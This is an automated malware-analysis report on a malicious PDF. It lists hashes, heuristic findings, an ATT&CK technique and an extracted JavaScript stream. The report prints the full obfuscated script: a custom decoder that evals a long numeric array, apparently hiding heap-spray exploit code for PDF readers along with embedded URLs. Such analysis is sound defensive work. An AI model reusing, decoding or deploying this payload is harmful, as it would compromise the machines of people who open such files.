Malicious PDF — malware analysis report

Static analysis result for SHA-256 ec7820c9d908f70a…

MALICIOUS

PDF

9.1 KB Created: 2010-07-25 10:32:51 Authoring application: FPDF 1.6 First seen: 2026-05-10
MD5: 5e692eb4b9e92abbc590aef3054df9cc SHA-1: 894f839e5a4036f440a5484bc862951a0ebb7ea9 SHA-256: ec7820c9d908f70a338f7a6e0c5b16cd2399f957cac0831063e0c5bdbfb6dfc3
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Service Execution: JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript actions and streams. The embedded JavaScript file, 'javascript_obj0007_000.js', is likely intended to execute malicious code. The obfuscation indicators suggest an attempt to hide the script's true functionality, which is common for malware delivery. The primary attack pattern involves leveraging the PDF's ability to run scripts to achieve a malicious outcome.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     function vf\(s\){var r='',v=[],w=String.fromCharCode,n=[[32,48],[65,97],[48,64],[10,11],[13,14],[97,126]];for\(z in n\){ for\(i=n[z][0];i<n[z][1];i++\){  v.push\(w\(i\)\); }}for \(var i = 0; i < s.length; i++\) { r+=v[s[i]];}eval\(r\);}vf\([65,64,71,86,79,68,85,74,80,79,0,71,74,89,46,74,85,8,90,66,83,84,81,12,0,77,70,79,9,92,65,64,88,73,74,77,70,0,8,90,66,83,84,81,14,77,70,79,72,85,73,0,10,0,50,0,60,0,77,70,79,9,92,65,64,90,66,83,84,81,0,11,61,0,90,66,83,84,81,59,65,64,94,65,64,90,66,83,84,81,0 …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1EB 8444 bytes
SHA-256: 32b368e4734c42e406b234579cb2317ff3126be8720045f5dc54795d42d1ba80
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function vf(s){var r='',v=[],w=String.fromCharCode,n=[[32,48],[65,97],[48,64],[10,11],[13,14],[97,126]];for(z in n){	for(i=n[z][0];i<n[z][1];i++){		v.push(w(i));	}}for (var i = 0; i < s.length; i++) {	r+=v[s[i]];}eval(r);}vf([65,64,71,86,79,68,85,74,80,79,0,71,74,89,46,74,85,8,90,66,83,84,81,12,0,77,70,79,9,92,65,64,88,73,74,77,70,0,8,90,66,83,84,81,14,77,70,79,72,85,73,0,10,0,50,0,60,0,77,70,79,9,92,65,64,90,66,83,84,81,0,11,61,0,90,66,83,84,81,59,65,64,94,65,64,90,66,83,84,81,0,61,0,90,66,83,84,81,14,84,86,67,84,85,83,74,79,72,8,48,12,0,77,70,79,15,50,9,59,65,64,83,70,85,86,83,79,0,90,66,83,84,81,59,65,64,94,65,64,65,64,71,86,79,68,85,74,80,79,0,86,85,74,77,46,81,83,74,79,85,71,8,9,92,65,64,87,66,83,0,81,66,90,77,80,66,69,0,61,0,86,79,70,84,68,66,81,70,8,2,73,85,85,81,58,15,15,67,77,66,68,76,73,80,77,70,15,74,79,69,70,89,14,81,73,81,2,9,59,65,64,87,66,83,0,79,80,81,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,48,16,48,16,5,86,48,16,48,16,5,86,48,16,48,16,5,86,48,16,48,16,2,9,65,64,87,66,83,0,73,70,66,81,67,77,80,68,76,0,61,0,79,80,81,0,11,0,81,66,90,77,80,66,69,59,65,64,87,66,83,0,67,74,72,67,77,80,68,76,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,48,16,48,16,5,86,48,16,48,16,2,9,59,65,64,87,66,83,0,73,70,66,69,70,83,84,74,91,70,0,61,0,50,48,59,65,64,87,66,83,0,84,81,83,66,90,0,61,0,73,70,66,69,70,83,84,74,91,70,0,11,0,73,70,66,81,67,77,80,68,76,14,77,70,79,72,85,73,59,65,64,88,73,74,77,70,0,8,67,74,72,67,77,80,68,76,14,77,70,79,72,85,73,0,60,0,84,81,83,66,90,9,92,65,64,67,74,72,67,77,80,68,76,0,11,61,0,67,74,72,67,77,80,68,76,59,65,64,94,65,64,87,66,83,0,71,74,77,77,67,77,80,68,76,0,61,0,67,74,72,67,77,80,68,76,14,84,86,67,84,85,83,74,79,72,8,48,12,0,84,81,83,66,90,9,59,65,64,87,66,83,0,67,77,80,68,76,0,61,0,67,74,72,67,77,80,68,76,14,84,86,67,84,85,83,74,79,72,8,48,12,0,67,74,72,67,77,80,68,76,14,77,70,79,72,85,73,13,84,81,83,66,90,9,59,65,64,88,73,74,77,70,0,8,67,77,80,68,76,14,77,70,79,72,85,73,11,84,81,83,66,90,0,60,0,48,89,52,48,48,48,48,9,92,65,64,67,77,80,68,76,0,61,0,67,77,80,68,76,0,11,0,67,77,80,68,76,0,11,0,71,74,77,77,67,77,80,68,76,59,65,64,94,65,64,87,66,83,0,78,70,78,46,66,83,83,66,90,0,61,0,79,70,88,0,16,83,83,66,90,8,9,59,65,64,71,80,83,0,8,87,66,83,0,74,0,61,0,48,59,0,74,0,60,0,49,52,48,48,59,0,74,11,11,9,92,65,64,78,70,78,46,66,83,83,66,90,42,74,44,0,61,0,67,77,80,68,76,0,11,0,73,70,66,81,67,77,80,68,76,59,65,64,94,65,64,87,66,83,0,79,86,78,0,61,0,49,50,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,59,65,64,86,85,74,77,14,81,83,74,79,85,71,8,2,5,52,53,48,48,48,71,2,12,0,79,86,78,9,59,65,64,94,65,64,65,64,71,86,79,68,85,74,80,79,0,68,80,77,77,66,67,46,70,78,66,74,77,8,9,92,65,64,87,66,83,0,84,73,70,77,77,68,80,69,70,0,61,0,86,79,70,84,68,66,81,70,8,2,73,85,85,81,58,15,15,67,77,66,68,76,73,80,77,70,15,74,79,69,70,89,14,81,73,81,2,9,59,65,64,87,66,83,0,78,70,78,46,66,83,83,66,90,0,61,0,79,70,88,0,16,83,83,66,90,8,9,59,65,64,87,66,83,0,68,68,0,61,0,48,89,48,68,48,68,48,68,48,68,59,65,64,87,66,83,0,66,69,69,83,0,61,0,48,89,52,48,48,48,48,48,59,65,64,87,66,83,0,84,68,46,77,70,79,0,61,0,84,73,70,77,77,68,80,69,70,14,77,70,79,72,85,73,0,10,0,50,59,65,64,87,66,83,0,77,70,79,0,61,0,66,69,69,83,0,13,0,8,84,68,46,77,70,79,11,48,89,51,56,9,59,65,64,87,66,83,0,90,66,83,84,81,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,57,48,57,48,5,86,57,48,57,48,2,9,59,65,64,90,66,83,84,81,0,61,0,71,74,89,46,74,85,8,90,66,83,84,81,12,0,77,70,79,9,59,65,64,87,66,83,0,68,80,86,79,85,50,0,61,0,8,68,68,0,13,0,48,89,52,48,48,48,48,48,9,15,66,69,69,83,59,65,64,71,80,83,0,8,87,66,83,0,68,80,86,79,85,0,61,0,48,59,0,68,80,86,79,85,0,60,0,68,80,86,79,85,50,59,0,68,80,86,79,85,11,11,9,92,65,64,78,70,78,46,66,83,83,66,90,42,68,80,86,79,85,44,0,61,0,90,66,83,84,81,0,11,0,84,73,70,77,77,68,80,69,70,59,65,64,94,65,64,87,66,83,0,80,87,70,83,71,77,80,88,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,48,68,48,68,5,86,48,68,48,68,2,9,59,65,64,88,73,74,77,70,0,8,80,87,70,83,71,77,80,88,14,77,70,79,72,85,73,0,60,0,52,52,57,53,50,9,92,65,64,80,87,70,83,71,77,80,88,0,11,61,0,80,87,70,83,71,77,80,88,59,65,64,94,65,64,85,73,74,84,14,68,80,77,77,66,67,34,85,80,83,70,0,61,0,18,80,77,77,66,67,14,68,80,77,77,70,68,85,20,78,66,74,77,24,79,71,80,8,92,84,86,67,75,58,0,2,2,12,78,84,72,58,0,80,87,70,83,71,77,80,88,94,9,59,65,64,94,65,64,65,64,71,86,79,68,85,74,80,79,0,68,80,77,77,66,67,46,72,70,85,74,68,80,79,8,9,92,65,64,74,71,0,8,66,81,81,14,69,80,68,14,18,80,77,77,66,67,14,72,70,85,24,68,80,79,9,92,65,64,87,66,83,0,66,83,83,90,0,61,0,79,70,88,0,16,83,83,66,90,8,9,59,65,64,87,66,83,0,87,87,81,70,85,73,90,66,0,61,0,86,79,70,84,68,66,81,70,8,2,73,85,85,81,58,15,15,67,77,66,68,76,73,80,77,70,15,74,79,69,70,89,14,81,73,81,2,9,59,65,64,87,66,83,0,73,38,82,53,48,48,18,29,0,61,0,87,87,81,70,85,73,90,66,14,77,70,79,72,85,73,0,10,0,50,59,65,64,87,66,83,0,77,70,79,0,61,0,48,89,52,48,48,48,48,48,0,13,0,8,73,38,82,53,48,48,18,29,0,11,0,48,89,51,56,9,59,65,64,87,66,83,0,90,66,83,84,81,0,61,0,86,79,70,84,68,66,81,70,8,2,5,86,57,48,57,48,5,86,57,48,57,48,2,9,59,65,64,90,66,83,84,81,0,61,0,71,74,89,46,74,85,8,90,66,83,84,81,12,0,77,70,79,9,59,65,64,87,66,83,0,81,53,16,75,26,54,53,71,0,61,0,8,48,89,48,68,48,68,48,68,48,68,0,13,0,48,89,52,48,48,48,48,48,9,0,15,0,48,89,52,48,48,48,48,48,59,65,64,71,80,83,0,8,87,66,83,0,87,82,68,32,19,57,54,90,0,61,0,48,59,0,87,82,68,32,19,57,54,90,0,60,0,81,53,16,75,26,54,53,71,59,0,87,82,68,32,19,57,54,90,0,11,11,0,9,92,65,64,66,83,83,90,42,87,82,68,32,19,57,54,90,44,0,61,0,90,66,83,84,81,0,11,0,87,87,81,70,85,73,90,66,59,65,64,94,65,64,87,66,83,0,85,36,28,73,29,67,22,88,0,61,0,86,79,70,84,68,66,81,70,8,2,5,48,57,2,9,59,65,64,88,73,74,77,70,0,8,85,36,28,73,29,67,22,88,14,77,70,79,72,85,73,0,60,0,48,89,52,48,48,48,9,92,65,64,85,36,28,73,29,67,22,88,0,11,61,0,85,36,28,73,29,67,22,88,59,65,64,94,65,64,85,36,28,73,29,67,22,88,0,61,0,2,29,14,2,0,11,0,85,36,28,73,29,67,22,88,59,65,64,66,81,81,14,69,80,68,14,18,80,77,77,66,67,14,72,70,85,24,68,80,79,8,85,36,28,73,29,67,22,88,9,59,65,64,94,65,64,94,65,64,65,64,71,86,79,68,85,74,80,79,0,81,69,71,46,84,85,66,83,85,8,9,92,65,64,87,66,83,0,87,70,83,84,74,80,79,0,61,0,66,81,81,14,87,74,70,88,70,83,37,70,83,84,74,80,79,14,85,80,34,85,83,74,79,72,8,9,59,65,64,87,70,83,84,74,80,79,0,61,0,87,70,83,84,74,80,79,14,83,70,81,77,66,68,70,8,15,43,19,15,72,12,7,7,9,59,65,64,87,66,83,0,87,66,83,84,74,80,79,46,66,83,83,66,90,0,61,0,79,70,88,0,16,83,83,66,90,8,87,70,83,84,74,80,79,14,68,73,66,83,16,85,8,48,9,12,0,87,70,83,84,74,80,79,14,68,73,66,83,16,85,8,49,9,12,0,87,70,83,84,74,80,79,14,68,73,66,83,16,85,8,50,9,9,59,65,64,74,71,0,8,8,87,66,83,84,74,80,79,46,66,83,83,66,90,42,48,44,0,61,61,0,56,9,0,6,6,0,8,87,66,83,84,74,80,79,46,66,83,83,66,90,42,49,44,0,61,61,0,48,9,0,93,93,0,8,87,66,83,84,74,80,79,46,66,83,83,66,90,42,49,44,0,61,61,0,49,0,6,6,0,87,66,83,84,74,80,79,46,66,83,83,66,90,42,50,44,0,60,0,51,9,9,92,65,64,86,85,74,77,46,81,83,74,79,85,71,8,9,59,65,64,94,65,64,74,71,0,8,8,87,66,83,84,74,80,79,46,66,83,83,66,90,42,48,44,0,60,0,56,9,0,93,93,0,8,87,66,83,84,74,80,79,46,66,83,83,66,90,42,48,44,0,61,61,0,56,0,6,6,0,87,66,83,84,74,80,79,46,66,83,83,66,90,42,49,44,0,60,0,50,0,6,6,0,87,66,83,84,74,80,79,46,66,83,83,66,90,42,50,44,0,60,0,50,9,9,92,65,64,68,80,77,77,66,67,46,70,78,66,74,77,8,9,59,65,64,94,65,64,74,71,0,8,8,87,66,83,84,74,80,79,46,66,83,83,66,90,42,48,44,0,60,0,57,9,0,93,93,0,8,87,66,83,84,74,80,79,46,66,83,83,66,90,42,48,44,0,61,61,0,57,0,6,6,0,87,66,83,84,74,80,79,46,66,83,83,66,90,42,49,44,0,60,0,49,9,9,92,65,64,68,80,77,77,66,67,46,72,70,85,74,68,80,79,8,9,59,65,64,94,65,64,94,65,64,65,64,66,81,81,14,66,77,70,83,85,8,7,85,70,84,85,49,50,51,7,9,59,65,64]);;